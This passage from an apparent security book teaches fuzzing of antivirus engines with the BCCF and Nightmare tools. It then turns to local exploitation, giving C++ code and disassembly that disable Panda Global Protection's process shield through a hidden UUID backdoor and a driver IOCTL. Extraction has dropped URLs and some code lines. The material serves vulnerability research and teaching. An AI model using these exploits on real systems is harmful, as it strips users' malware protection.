all 15 files do. While fuzzing, reducing the number of template files to only the
most appropriate ones is a time-saving approach that maximizes results.
Part III ■ Analysis and Exploitation
Finding Template Files
In some cases, especially when talking about antivirus kernels, you will need
to find sample files that are not common (that is, files that you will not discover
generally on your hard disk). For finding such files, I can only make some basic
Google—You can search for files in indexed web directories using a
query such as intitle:"index of /" .lzh. With this query, you will
discover in indexed web directories files ending with the .lzh extension
(a compression file format).
More Google—The filetype:LZH query can produce interesting results.
It usually works (but you will likely need to remove the results that relate
to Facebook).
VirusTotal—If you have access to the private version of VirusTotal, you
will discover that there is at least one sample for every file format you
may want to look for.
Another good way of finding template files for fuzzing antivirus products is
to actually use their input files test suite. Of course, commercial antivirus suites
do not provide their input files test suite, but you can find such a suite for the
only open-source antivirus scanner ClamAV. You can download the source code
from GIT ( and then build it.
The test files are not available without compiling ClamAV (as they used to be
in the past) because they are now dynamically generated. These sample files can
be used as template files for fuzzing other antivirus products. They are a good
starting point, and they cover a lot of file formats that most, if not all, antivirus
kernels support. The currently included test files are as follows:
Chapter 13 ■ Dynamic Analysis
Another recommendation is to use the PROTOS Genome Test Suite c10-archive.
This is a big set of modified compressed files for the following file formats
(extracted from their web page):
total 1632691
Part III ■ Analysis and Exploitation
You can dow n load th is set of mutated compressed files from
Even when this testing suite is public—and it is possibly already included in
many testing suites of antivirus products—you may be surprised by the actual
number of antivirus products that fail with these files. If you take them as
templates to mutate, you will be even more surprised.
Maximizing Code Coverage
Code coverage is a dynamic analysis technique that is based on instrumenting
the target application while it is running, to determine the number of different instructions, basic blocks, or functions it executed. I briefly described code
coverage earlier in this chapter when I discussed the PeachMinset.exe tool,
which actually performs code coverage to determine which set of files handles
the most features. However, using such a tool, you are restricted to the number
of features that are exercised or covered by the input files.
If you do not discover any bugs within that exercised or discovered featureset, you need to use one of the following approaches:
Find more samples in the hope that they cover new features.
Maximize the coverage of the sample files by using instrumentation.
I will discuss the second approach. You can maximize code coverage in a
number of ways. Currently, the more interesting approaches that are being
either researched or used are as follows:
Using symbolic execution and SMT solvers. These tools translate the
code executed or found in a target binary, get the predicates used
in the code, abstract them, generate SMT formulas, and let the SMT
solver find all possible modifications to the inputs that would cover
more code.
Performing random or half-random mutations to template files and
running them under instrumentation to determine whether the newly
added changes actually execute more instructions, basic blocks, or
The first approach is used more often in research projects than in real life.
SMT solvers are tools with great potential, but they tend to work only for toy
projects because they require extremely large hardware setups. There are some
real cases, such as Microsoft SAGE, but, as previously mentioned, they require
a lot of resources. Today, you should not expect to run either SAGE or a SAGE
clone at home against real targets with normal templates.
Chapter 13 ■ Dynamic Analysis
There is at least one impressive open-source SAGE-like tool: egas, from the
MoFlow set of tools, which you can find at
/moflow. However, as pointed out by one of its authors, the version of egas
from 2014 was not meant to run with input buffers bigger than 4KB because
it does not scale well. It would most likely take too long with real targets and
medium to large inputs. I tried to use this tool against an unnamed antivirus
product, and after one week of running it and consuming about 4GB of RAM, I
simply stopped the tool without having achieved a result. However, such tools
do actually discover real bugs. The problem is that the right setup, as of today,
is too big for home-based projects, as demonstrated in the test I performed.
Undoubtedly, egas is a very good research project that actually works, but, for
now, it is restricted to small inputs.
Other approaches are easier to set up, require fewer resources, and fi nd
real bugs more quickly. They are based on the concept of maximizing code
coverage using random or half-random modifications. Two more recent tools
are listed here:
American Fuzzy Lop (AFL)—A fuzzer based on the concepts explained in
this section (a code-coverage assisted fuzzer) created by the well-known
security researcher Michal Zalewski
Blind Code Coverage Fuzzer (BCCF)—A fuzzer that is part of the
Nightmare fuzzing framework, written by Joxean Koret, one of the authors
of this book
Both tools work similarly, but they implement different algorithms. The
following section will discuss BCCF, as you are going to use the Nightmare
fuzzing suite for testing antivirus applications in the following sections.
Blind Code Coverage Fuzzer
The BCCF tool, part of the Nightmare fuzzing suite, is capable of performing
the following actions:
Maximizing sample files—It maximizes code coverage of one original
template file.
Discovering bugs—It finds bugs by covering a different set of features
not covered by the original template file.
Discovering new generations—It creates mutated files, based on random modifications made to the original template file, which can be used
as new templates for other mutators in order to fuzz a different set of
features than the ones covered by the original template file with different
mutation strategies.
Part III ■ Analysis and Exploitation
The most interesting features of this tool, or tools like this one, are that they
can blindly discover new features and maximize the code covered by the original
templates. This is very useful in many scenarios, such as these:
You have only a handful of samples for some specific file format because
it is too rare or old (or both) to obtain other samples.
The samples you can gather from any source are too similar, always
covering the same feature-set.
In such cases, BCCF will help. This tool uses either DrCov, a standard
tool for code coverage from the great open-source project DynamoRIO, or
a tool for Intel PIN that was contributed to the project. BCCF works by running
the target under instrumentation with the original template file and performing modifications on the original input buffer in order to find modifications
that cover new basic blocks. In short, this is how it works; however, the actual
process is more complex.
BCCF fi rst tries to measure the average number of basic blocks that are
executed by the target application with the same input fi le. The minimum,
maximum, and average are then calculated using a set of different mutation strategies. BCCF then performs random or half-random modifications
and measures how many different basic blocks are executed. If new basic
blocks are found, then a new generation is created, and this generation is
used as the new template buffer. Additional modifications are applied to
the new template buffer in order to discover more basic blocks that were
not previously covered; however, if after a number of iterations for a given
generation the number of basic blocks executed either is lower than before
or remains stable, then the generation is dropped, and the previous one is
used as the new template buffer.
This tool can run forever, or until you stop it, possibly fi nding bugs and
discovering new generations that can be used as templates for other mutators,
or it can run for a number of iterations until the file is maximized.
The following section will guide you through the installation and setup of
BCCF for subsequent experiments.
Using Blind Code Coverage Fuzzer
To use BCCF, you need to install the Nightmare fuzzing suite, which is available
To clone the GIT Repository in a directory of your choice on a Linux machine,
you can issue the following command:
$ git clone
Chapter 13 ■ Dynamic Analysis
Once you have it cloned, you have the following files and directories from
the Nightmare fuzzing suite:
$ ls /path/to/nightmare
dependencies fuzzers
results samples TODO.txt COPYING.txt doc
fuzzersUpd LICENSE mutators
README.txt runtime tasks
You need to install DynamoRIO, the default binary instrumentation toolkit
used by BCCF. You can download it for your target operating system from
For this experiment, version 4.2.0-3 for Linux is used, but you can use
whatever new version is available, as BCCF simply uses the standard tool
DrCov. Once you have downloaded it, unpack it in a directory of your choice.
Then, create a copy of the file fuzzers/bcf.cfg.example from the Nightmare
installation directory and name it fuzzers/bcf.cfg. You need to edit this
file to tell BCCF where DynamoRIO is installed and instruct BCCF to use it. At
the very least, you need to add the following lines in the fuzzers/bcf.cfg
configuration file:
#----------------------------------------------------------------------# Configuration for the BCF fuzzer
# Current options are: DynamoRIO, Pin
# Use *ONLY* iterative algorithm instead of all algorithms?
# Use *ONLY* radamsa instead of all the implemented algorithms?
After successfully configuring the binary instrumentation toolkit and the path
where it is installed, you need to install the tool named Radamsa. Radamsa is a
test case generator for robustness testing of a fuzzer (or a mutator). This tool tries
to infer the grammar of the input files and then generate output according to the
inferred grammar. Radamsa is the best mutator available today. To download
and install it, issue the following commands:
$ curl \
| tar -zxvf - && cd radamsa-0.4 && make && sudo make install
Part III ■ Analysis and Exploitation
Once you have installed Radamsa, you can test it from the command line by
doing the following:
sh-4.3$ echo "Testing 123" | radamsa
Testing 2147483649
sh-4.3$ echo "Testing 123" | radamsa
sh-4.3$ echo "Testing 123" | radamsa
Testing 3
Testing 4294967292949672929496729294967292949672929496729294967292949672
sh-4.3$ echo "Testing 123" | radamsa
As you can see, Radamsa is mutating the input string Testing 123 by generating different strings. Now, it is finally time to configure BCCF to work with your
target. This example again uses the Bitdefender antivirus. Add the following
lines to the file bcf.cfg:
#----------------------------------------------------------------------# Configuration for BitDefender
# Command line to launch it
command=/usr/bin/bdscan --no-list
# Base tube name
# The tube the fuzzer will use to pull of samples
# The tube the fuzzer will use to record crashes
# Extension for the files to be fuzzed
# Timeout for this fuzzer
# Environment
# File to load/save the state with BCF fuzzer
Chapter 13 ■ Dynamic Analysis
The interesting parts of this configuration directive for fuzzing the Bitdefender
antivirus are in bold. You need to specify the command to run, a time-out for the
instrumentation toolkit, and the environment variables to set for the target. Set
MALLOC_CHECK_ to 2 in order to catch bugs that the GNU LIBC library knows about.
Now, after successfully installing all the prerequisites and configuring BCCF,
you can use the BCCF tool. You can check the command-line usage by simply
running the tool:
nightmare/fuzzers$ ./
Usage: ./ (32|64) <config file> <section> <input_file> <output
directory> [<max iterations>]
The first argument to ./ is the architecture, 32bit or 64bit.
You can maximize the code covered by the Bitdefender antivirus for some
sample file with the following command:
$ ./ 32 bcf.cfg BitDefender ../samples/av/sample.lnk out 100
[Wed Apr 22 13:41:04 2015 7590:140284692117312] Selected a maximum size
of 6 change(s) to apply
[Wed Apr 22 13:41:04 2015 7590:140284692117312] Input file is
[Wed Apr 22 13:41:04 2015 7590:140284692117312] Recording a total of 10
value(s) of coverage...
[Wed Apr 22 13:41:15 2015 7590:140284692117312] Statistics: Min 24581,
Max 24594, Avg 24586.400000, Bugs 0
[Wed Apr 22 13:41:15 2015 7590:140284692117312] Maximizing file in
100 iteration(s)
[Wed Apr 22 13:41:29 2015 7590:140284692117312] GOOD! Found an
interesting change at 0x0! Covered basic blocks 24604, original maximum 24594
[Wed Apr 22 13:41:29 2015 7590:140284692117312] Writing discovered
generation file 4d120a4e3bc360815a7113bccc642fedfd537479
[Wed Apr 22 13:41:29 2015 7590:140284692117312] New statistics:
Min 24594, Max 24604, Avg 24599.000000
[Wed Apr 22 13:41:33 2015 7590:140284692117312] GOOD! Found an
interesting change at 0x0!
Covered basic blocks 24605, original maximum 24604
[Wed Apr 22 13:41:33 2015 7590:140284692117312] Writing discovered
generation file e349166e31de0793af62e6ac11ecda20e8a759bd
BCCF tries to maximize the code covered by the file sample.lnk doing a
maximum of 100 iterations, and it stores the resulting file in the directory out.
After a while, you see a message like the following one:
[Wed Apr 22 13:47:04 2015 7590:140284692117312] New statistics:
Min 24654, Max 24702, Avg 24678.000000
[Wed Apr 22 13:47:13 2015 7590:140284692117312] Iteration 100, current
Part III ■ Analysis and Exploitation
generation value -2, total generation(s) preserved 8
[Wed Apr 22 13:47:18 2015 7590:140284692117312] File successfully
maximized from min 24581, max 24594 to min 24654, max 24702
[Wed Apr 22 13:47:18 2015 7590:140284692117312] File
out/51de04329d92a435c6fd3eef5930982467c9a25f.max written to disk
The original file covered a maximum of 24,594 basic blocks, and the maximized version now covers a total of 24,702 different basic blocks: 108 more
basic blocks. You can use this maximized fi le as a new template for fuzzing
your antivirus.
You can also tell the BCCF tool, instead of maximizing the file for a number of
iterations, to do it forever, until you stop it by simply removing the last argument:
$ ./ 32 bcf.cfg BitDefender ../samples/av/041414-18376-01.dmp.lnk out
[Wed Apr 22 11:45:42 2015 28514:139923369727808] Selected a maximum size
of 7 change(s) to apply
[Wed Apr 22 11:45:42 2015 28514:139923369727808] Input file is
[Wed Apr 22 11:45:42 2015 28514:139923369727808] Recording a total of
10 value(s) of coverage...
[Wed Apr 22 11:45:51 2015 28514:139923369727808] Statistics: Min 24582,
Max 24588, Avg 24584.750000, Bugs 0
[Wed Apr 22 11:45:51 2015 28514:139923369727808] Fuzzing...
[Wed Apr 22 11:48:00 2015 28514:139923369727808] GOOD! Found an
interesting change at 0x0!
Covered basic blocks 24589, original maximum 24588
[Wed Apr 22 11:48:00 2015 28514:139923369727808] Writing discovered
generation file 064b4e7b6ec94a8870f6150d8a308111bb3b313e
[Wed Apr 22 11:48:00 2015 28514:139923369727808] New statistics:
Min 24588, Max 24589, Avg 24588.500000
[Wed Apr 22 11:48:03 2015 28514:139923369727808] GOOD! Found an
interesting change at 0xa5e! Covered basic blocks 24596,
original maximum 24589
[Wed Apr 22 11:48:03 2015 28514:139923369727808] Writing discovered
generation file d5f30e9a01109eb87363b2e6cf1807c000d5b598
[Wed Apr 22 11:48:03 2015 28514:139923369727808] New statistics:
Min 24589, Max 24596, Avg 24592.500000
[Wed Apr 22 13:39:42 2015 28514:139923369727808] Iteration 1915, current
generation value -10, total generation(s) preserved 7
[Wed Apr 22 13:39:45 2015 28514:139923369727808] GOOD! Found an
interesting change at 0x2712c! Covered basic blocks 30077,
original maximum 30074
[Wed Apr 22 13:39:45 2015 28514:139923369727808] Writing discovered
generation file 0d409746bd76a546d2e8ef4535674c60daa90021
[Wed Apr 22 13:39:45 2015 28514:139923369727808] New statistics:
Chapter 13 ■ Dynamic Analysis
Min 30074, Max 30077, Avg 30075.500000
[Wed Apr 22 13:40:28 2015 28514:139923369727808] Dropping current
generation and statistics as we have too many bad results
[Wed Apr 22 13:40:28 2015 28514:139923369727808] Statistics: Min 30071,
Max 30074, Avg 30072.500000, Bugs 0
[Wed Apr 22 13:40:28 2015 28514:139923369727808] Iteration 1927,
current generation value -7, total generation(s) preserved 7
In this example, the BCCF tool created a number of maximized fi les, and
the last iteration at the time of checking successfully increased the code
covered from a maximum of 24,588 basic blocks to 30,074 basic blocks: 5,486
more basic blocks!
Nightmare, the Fuzzing Suite
Nightmare is a distributed fuzzing suite with central administration. It focuses on
Linux servers, although it works just as well in Windows and Mac OS X. You will
use this fuzzing suite to dynamically test various antivirus products. Previous
sections already indicated where you can download the Nightmare fuzzing suite,
but just in case, here is the URL:
You can download a copy of the latest version of the fuzzing suite by issuing
the following command to clone the repository:
$ git clone
Once you have downloaded the installer, open doc/install.txt and follow
each step. There is also an online copy of the install.txt file at https://github
Basically, you need to install the dependencies that are required by Nightmare:
Python—By default, this is installed in both Linux and Mac OS X but not
in Windows.
MySQL server— It will be used as the storage for crashes information.
Capstone Python bindings—You need the Python bindings for this
embedded disassembler library. You can download them from
Beanstalkd—You can install this program in Linux by simply issuing the
command apt-get install beanstalkd.
Radamsa—This is one of the multiple mutators that Nightmare uses.
To download Radamsa, along with installation instructions, go to
Part III ■ Analysis and Exploitation
Optionally, for some mutators (for example, the intelligent mutators for file
formats such as MachO or OLE2 containers) and for binary instrumentation,
you need to install the following dependencies:
DynamoRIO—An open-source binary instrumentation toolkit, which
you can download from
Zzuf—A multi-purpose fuzzer. You can install it in Linux by issuing the
command apt-get install zzuf.
Python macholib—A pure Python parser for MachO files, which you can
download from
After you have successfully installed all the dependencies and created the
MySQL database schema, you can finish setting up the Nightmare fuzzing suite
by issuing the following command:
$ cd nightmare/runtime
$ python
It starts a web server listening by default at localhost:8080. You simply need
to navigate using your favorite web browser to http://localhost:8080, click
the Configuration link, and configure the samples path, the templates path,
the installation path, the queue host server (the address where Beanstalkd is
listening), and its port (by default, 11300), as shown in Figure 13-1.
Figure 13-1: Final configuration of the Nightmare fuzzing suite
After configuring these fields, you only need to configure the targets to be fuzzed.
Configuring Nightmare
You start configuring Nightmare by setting up the ClamAV antivirus for
Linux as your target. You need to install it on a Linux machine by issuing the
following command:
$ sudo apt-get install clamav
Chapter 13 ■ Dynamic Analysis
To add a new fuzzing target to Nightmare, you can click the Projects link. A
web page appears, similar to Figure 13-2.
Figure 13-2: Starting a new fuzzing project in Nightmare
Fill in the fields for the new project. Add a name for the project, an optional
description, and the subfolder inside $NIGHTMARE_DIR/samples/ with all the
sample files that you will use as templates. Specify the tube prefix, which is
the name of a Beanstalk’s tube, to push jobs for the workers. Indicate the maximum number of samples to always maintain in the queue (for multiprocessing
or multi-nodes), as well as the maximum number of iterations without a crash
before you stop the project. Once you have filled in all the fields, click Add New
Project and voilà! You have a new project.
Next, you need to assign mutation engines to the project. On the left side
of the interface, you see the Project Engines link; click it, and then select the
mutation engines that you want. In the case of antivirus products, the following
engines are recommended:
Radamsa multiple—This creates a ZIP file with multiple (10) mutated
files inside.
Simple replacer multiple—This creates a ZIP file with multiple files, but
instead of using Radamsa, it replaces one randomly selected character
with a randomly selected part of the original buffer.
Charlie Miller multiple—This works like the previous options, but this
time using an algorithm that Charlie Miller demonstrated at CanSecWest
in 2008.
In general, it is always best to create bundles with multiple files as opposed
to creating just a single file and running a full instance of the antivirus engine
for each file you create.
Part III ■ Analysis and Exploitation
Finding Samples
The next step is to find the right samples for this project. If you do not have any,
you can click the Samples link on the left side of the interface. It uses Google to
automatically download files that have specified the file format. For this test,
try to download some PDF files to fuzz ClamAV. Click the Samples link and
then fill in the form, as shown in Figure 13-3.
Figure 13-3: Finding samples with the Nightmare fuzzing suite
Go grab a coffee—it will take some time. After a while, you will have a set of
freshly downloaded PDF files in the samples/av subdirectory.
Configuring and Running the Fuzzer
To configure the fuzzer, you need to go to the directory nightmare/fuzzers,
edit the file generic.cfg, and add the following lines:
#----------------------------------------------------------------------# Configuration for ClamAV
# Command line to launch it
command=/usr/bin/clamscan --quiet
# Base tube name
# The tube the fuzzer will use to pull of samples
# The tube the fuzzer will use to record crashes
# Extension for the files to be fuzzed
# Timeout for this fuzzer
# Environment
Chapter 13 ■ Dynamic Analysis
As before with the BCCF fuzzer, you need to set up the command to run, the
environment variables before running the target, and the time-out. However,
this time, you also need to configure other variables, such as the tube prefix
(or base tube) where the jobs for this fuzzing project will be left, as well as the
crash tube (the tube where all the crashing information will be left). Once you have
everything configured, open a terminal and execute the following commands:
$ cd nightmare/fuzzers
[email protected]:~/nightmare/fuzzers$ ./ generic.cfg ClamAV
An output similar to this appears in the terminal:
[Wed Apr 22 19:07:35 2015 19453:140279998961472] Launching fuzzer,
listening in tube clamav-samples
The fuzzer starts waiting for jobs indefi nitely. You need to run another
command to really start fuzzing this project.
In another terminal, run the following command to create samples for your
$ cd nightmare/runtime
$ python
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Reading configuration
from database...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
SAMPLES_PATH is /home/joxean/nightmare/results
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
TEMPLATES_PATH is /home/joxean/nightmare/samples
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
NIGHTMARE_PATH is /home/joxean/nightmare
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
QUEUE_HOST is localhost
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
QUEUE_PORT is 11300
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Starting generator...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Putting it in queue and
updating statistics...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Putting it in queue and
updating statistics...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
Part III ■ Analysis and Exploitation
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file
[Wed Apr 22 19:11:36 2015 20075:139868713940800] Putting it in queue and
updating statistics...
[Wed Apr 22 19:11:36 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
[Wed Apr 22 19:11:36 2015 20075:139868713940800] Generating mutated file
[Wed Apr 22 19:11:37 2015 20075:139868713940800] Putting it in queue and
updating statistics...
The scripts creates samples and puts them in the queue. Now,
if you go back to the terminal where the fuzzer was waiting for jobs, you should
see something similar to the following:
$ python generic.cfg ClamAV
[Wed Apr 22 19:14:47 2015 20324:140432407086912] Launching fuzzer,
listening in tube clamav-samples
[Wed Apr 22 19:14:47 2015 20324:140432407086912] Launching debugger with
command /usr/bin/clamscan --quiet /tmp/tmpbdMx7p.fil
[Wed Apr 22 19:14:52 2015 20324:140432407086912] Launching debugger with
command /usr/bin/clamscan --quiet /tmp/tmpwxEVO2.fil
[Wed Apr 22 19:15:37 2015 20324:140432407086912] Launching debugger with
command /usr/bin/clamscan --quiet /tmp/tmptBJ0cr.fil
LibClamAV Warning: Bytecode runtime error at line 56, col 9
LibClamAV Warning: [Bytecode JIT]: recovered from error
LibClamAV Warning: [Bytecode JIT]: JITed code intercepted runtime error!
LibClamAV Warning: Bytecode 40 failed to run: Error during bytecode
[Wed Apr 22 19:16:55 2015 20324:140432407086912] Launching debugger with
command /usr/bin/clamscan --quiet /tmp/tmpRAoDQ2.fil
LibClamAV Warning: cli_scanicon: found 6 invalid icon entries of 6 total
[Wed Apr 22 19:17:57 2015 20324:140432407086912] Launching debugger with
command /usr/bin/clamscan --quiet /tmp/tmpOOIWnE.fil
LibClamAV Warning: PE file contains 16389 sections
You fi nally have the fuzzer running! It will launch the target process, clamscan, under a debugging interface and will record any crash that happens in
the target during the course of this project. You can view the statistics and
results, if any, in the front-end web application. Go back to the web application and click the Statistics link. You should see results similar to those
shown in Figure 13-4.
Chapter 13 ■ Dynamic Analysis
Figure 13-4: View your fuzzing statistics.
Eventually, if you are lucky enough and you have selected a good set of
template files, the target process crashes. Once you have at least one crash, you
can click the Results link. A window similar to the one in Figure 13-5 appears.
Figure 13-5: View your fuzzing results.
You can download the crashing samples, and a diff with all the changes
that were made to the file, in order to create an input that triggers the bug and
inspects the register values, the calls stack, and so on.
Part III ■ Analysis and Exploitation
Dynamic analysis techniques encompass a set of methods that are used to extract
runtime and behavior information from applications. This chapter covered two
dynamic analysis techniques: fuzzing and code coverage.
Fuzzing is a technique that is based on providing unexpected or malformed
input data to a target program, trying to crash it. Fuzzing tools, ranging from
simple fuzzers to advanced fuzzers, usually have the following feature-set:
Mutators—These algorithms make changes to a template, input file, or
protocol or file format specification.
Instrumentation tools—These are libraries or programs that let you instrument your target application in order to record instructions and basic
blocks execution and catch exceptions and errors, among other things.
Bug triaging and crash management tools—These tools make it easy to
capture crashing samples, classify them, and generate reports that will
help investigate the crash.
Code coverage tools—These tools help you fi nd new code paths that
could potentially be buggy.
For fuzzers to work effectively, it is important that you choose the right input
files to be used as the template. When choosing templates files, consider the
functionality they exercise when opened in the target program. To find template
files, look for certain file types on your computer, use Google search queries
(using the filetype filter), or download test files from other available antivirus
test suites and use those test files as templates.
Code coverage is a dynamic analysis technique that is based on instrumenting
the target application while it is running to determine the number of different
instructions, basic blocks, or functions it executed. Code coverage is usually
part of a fuzzer suite. Its goal is to find new code paths that have not been yet
explored and that could reveal relevant bugs. This chapter touches on two code
coverage techniques:
Using symbolic execution and SMT solvers to translate the code executed
or found in a target binary, get the predicates used in the code, abstract
them, generate SMT formulas, and let the SMT solver find all possible
modifications to the inputs that would cover more code
Performing random or half-random mutations to template files and running
them under instrumentation to determine whether these new mutations
actually lead to the discovery of new code path execution
Chapter 13 ■ Dynamic Analysis
Putting it all together, a fuzzer works like this:
1. The fuzzer starts with a template file and a target program.
2. The template file is mutated and a new file is generated.
3. The new input file is passed to the target program, which happens to be
running under instrumentation tools.
4. Crashes are recorded along with the input file that caused the crash.
5. Input files that cause new code blocks execution, as captured during
instrumentation, may be used as templates for another iteration of the
6. All of the above constitute one round or iteration. The whole process may
be repeated indefinitely until the desired number of iterations is achieved
or enough bugs have been discovered.
Toward the end of the chapter, a hands-on section was devoted to showing
you how to install, configure, and use the Nightmare fuzzing suite.
Equipped with all this practical knowledge, you are now confidently set to
start fuzzing antivirus software, or any other application for that matter.
The next chapter covers how to find and exploit bugs in the antivirus that is
running locally, when the attacker has already gained initial access to the target
via remote exploitation, for example.
Local Exploitation
Local exploitation techniques are used to exploit a product, or one of its
components, when you have access to the computer being targeted.
Local exploitation techniques can be used, for instance, after a successful
remote attack to escalate privileges, or they can be used alone if you already
have access to the target machine. Such techniques usually offer a way to
escalate privileges from those of a normal unprivileged user to those of a
more privileged user (such as a SYSTEM or root user) or, in the worst cases,
even to kernel level. These techniques usually exploit the following kinds
of bugs:
Memory corruptions—This refers to a memory corruption in a local
service running with high privileges. An exploit’s ability to capitalize
on such a vulnerability is usually low, depending on the actual vulnerability and the exploitation mitigations offered by the compiler and the
operating system.
Bad permissions—This type of vulnerability occurs in a local service
and is caused by incorrectly setting the privileges or access control lists
(ACLs) to objects. For example, a SYSTEM process with a null ACL is
easy to exploit, usually with 100-percent reliability.
Part III ■ Analysis and Exploitation
Logical vulnerabilities—These are the most elegant but also the hardest
types of vulnerabilities to fi nd. A logical vulnerability is commonly
a design-time flaw that allows the takeover of a privileged resource
through perfectly legal means, typically the same means that the antivirus
itself uses. The ease with which these vulnerabilities can be exploited
depends on the particular design flaw being targeted, but their reliability index is 100 percent. Even better, such vulnerabilities cannot be
easily fi xed because they may require making significant changes in
the product. The bug could be deeply integrated and interwoven with
other components in the product, making it hard to fix the bug without
introducing other bugs.
The following sections discuss how such local vulnerabilities can be exploited,
by showing some actual, but old, vulnerabilities in antivirus products.
Exploiting Backdoors and Hidden Features
Some products contain specific backdoors or hidden features that make it
easier to debug problems or to enable or disable specific features in the product
(typically used by the support technicians). These backdoors are very useful
during the development of the product, but if they are left in the product after
its release—by mistake or by choice—they will eventually be discovered and
abused by attackers. These bugs can be intentional, as when they are used
to help support technicians, or they can be unintentional, because of poor
design choices. Remember, nothing can be hidden from reverse-engineers,
and obfuscation will not fend off determined hackers: any backdoor, left
open, will be abused sooner or later.
For example, one vulnerability, which is now fi xed, used to affect the
Panda Global Protection antivirus up until the 2013 version. This antivirus
product was one of the worst I ever evaluated: after analyzing the local attack
surface for less than a day, I decided not to continue the analysis because
I had already discovered three local vulnerabilities for it. One of the fi rst
vulnerabilities I discovered was due to a bad design choice. To prevent the
antivirus processes from being killed by a malicious process running in
the same machine, which is usually called an “AV killer,” the product used
a kernel driver that enabled the protection of some processes, as shown in
Figure 14-1.
However, this kernel driver could be communicated with freely by any process, and, unfortunately, there was an I/O Control Code (IOCTL) that was used
to disable the protection.
Chapter 14 ■ Local Exploitation
Figure 14-1: Panda’s shield prevented termination of a Panda process using the Task Manager.
Before going into more detail, I will show how I discovered this vulnerability. One library installed by Panda Global Protection was called pavshld
.dll ; it drew my attention. This library exported a set of functions with
human readable names, except for PAVSHLD_001 and PAVSHLD_002. After I took
a brief look at the first function, it was clear that something was hidden. The
only parameter received by this function was equal to the secret universally
unique identifier (UUID) ae217538-194a-4178-9a8f-2606b94d9f13. If the
given UUID was correct, then a set of functions was called, some of them
making registry changes. After noticing this curious code, I decided to write
a quick C++ application to see what happened when this function was called
with the magic UUID value:
Tool to disable the shield (auto-protection) of Panda Global Protection
#include <iostream>
#include <windows.h>
#include <rpc.h>
using namespace std;
Part III ■ Analysis and Exploitation
typedef BOOL (*disable_shield_t)(UUID*);
int main()
HMODULE hlib = LoadLibrary("C:\\Program Files (x86)\\Common Files\\"
"Panda Security\\PavShld\\PavShld.dll");
if ( hlib )
cout << "[+] Loaded pavshld.dll library" << endl;
UUID secret_key;
(unsigned char *)"ae217538-194a-4178-9a8f-2606b94d9f13",
disable_shield_t p_disable_shield;
p_disable_shield = (disable_shield_t)GetProcAddress(hlib,
if ( p_disable_shield != NULL )
cout << "[+] Resolved function PAVSHLD_0001" << endl;
if ( p_disable_shield(&secret_key) )
cout << "[+] Antivirus disabled!" << endl;
cout << "[-] Failed to disable antivirus: " << GetLastError()
<< endl;
cout << "[-] Cannot resolve function PAVSHLD_0001 :(" << endl;
cout << "Cannot load pavshld.dll library, sorry" << endl;
return 0;
This tool simply loaded the PavShld.dll library and called that exported
function. After running this tool in a machine with the Panda Global Protection
2012 product installed, I discovered that I could kill the Panda processes by
simply using the Windows Task Manager. I tried this as a normal user and
also as another, even less privileged user that I created just for the sake of
experiment; the results were the same. Before running the tool I was not able
to kill any processes, and after running the tool I was able to kill the Panda
processes. This was bad. However, I was wrong when I thought that the library
was simply writing registry keys; the library actually called another library in
Chapter 14 ■ Local Exploitation
addition: ProcProt.dll. The PAVSHLD_001 function checked whether the secret
UUID was given and included this section of code:
.text:3DA26272 loc_3DA26272: ; CODE XREF: PAVSHLD_0001+5Bj
eax, eax
short loc_3DA26286
; ProcProt.dll!Func_0056 is meant to disable the av's shield
.text:3DA26280 call
The g_Func_0056 function, as I chose to call it, was a function in the
ProcProt.dll library that was dynamically resolved via the typical LoadLibrary
and GetProcAddress function calls. A quick look at the function’s disassembly
listing in IDA did not reveal anything exciting; however, pressing the minus
key on the number pad, to toggle the Proximity Browser, revealed a call graph
of this function and interesting callers and callees, as shown in Figure 14-2.
Figure 14-2: Call graph of ProcProt!Func_0056
At least two functions that were called from the exported Func_0056 ended up
calling the Windows API DeviceIoControl, a function used to communicate with
a kernel device driver. The function sub_3EA05180, called from the exported library
function Func_0056, called this API, as shown in the following assembly code:
.text:3EA0519F loc_3EA0519F
; CODE XREF: sub_3EA05180+11j
.text:3EA0519F push
; lpOverlapped
.text:3EA051A1 lea
ecx, [esp+8+BytesReturned]
.text:3EA051A5 push
; lpBytesReturned
.text:3EA051A6 push
; nOutBufferSize
.text:3EA051A8 push
; lpOutBuffer
.text:3EA051AA push
; nInBufferSize
.text:3EA051AC push
; lpInBuffer
.text:3EA051AE push
86062018h ; IoControlCode to disable the shield
.text:3EA051B3 push
; hDevice
; Final DeviceIoControl to instruct the driver to disable the protection
.text:3EA051B4 call
Part III ■ Analysis and Exploitation
So, believe it or not, the previous backdoor in PavShld.dll, which activated
only when the hidden UUID string was passed, was not even required at all!
It’s possible to disable the driver by knowing the symbolic link name exposed
by the kernel driver and the IOCTL code to send. Once you have retrieved those
two pieces of information by disassembling the library, you can use code like
the following to disable the antivirus shield:
#include <windows.h>
int main(int argc, char **argv)
HANDLE hDevice = CreateFileA(
"\\\\.\\Global\\PAVPROTECT", // DOS device name
0x80u, 0);
if ( hDevice )
DWORD BytesReturned;
0, 0, 0, 0, &BytesReturned, 0);
return 0;
This logical error is easy to discover by using static analysis techniques. The
next section shows how to find even easier design and logic errors in a program.
Finding Invalid Privileges, Permissions, and ACLs
In Windows operating systems in particular, system objects with incorrect or
inappropriately secured ACLs are common. For instance, a privileged application, running as SYSTEM, uses some objects with insecure privileges (ACLs)
that allow a normal non-privileged user to modify or interact with them in a
way that allows the escalation of privileges. For example, sometimes a process
or application thread is executed as SYSTEM, and with the highest possible
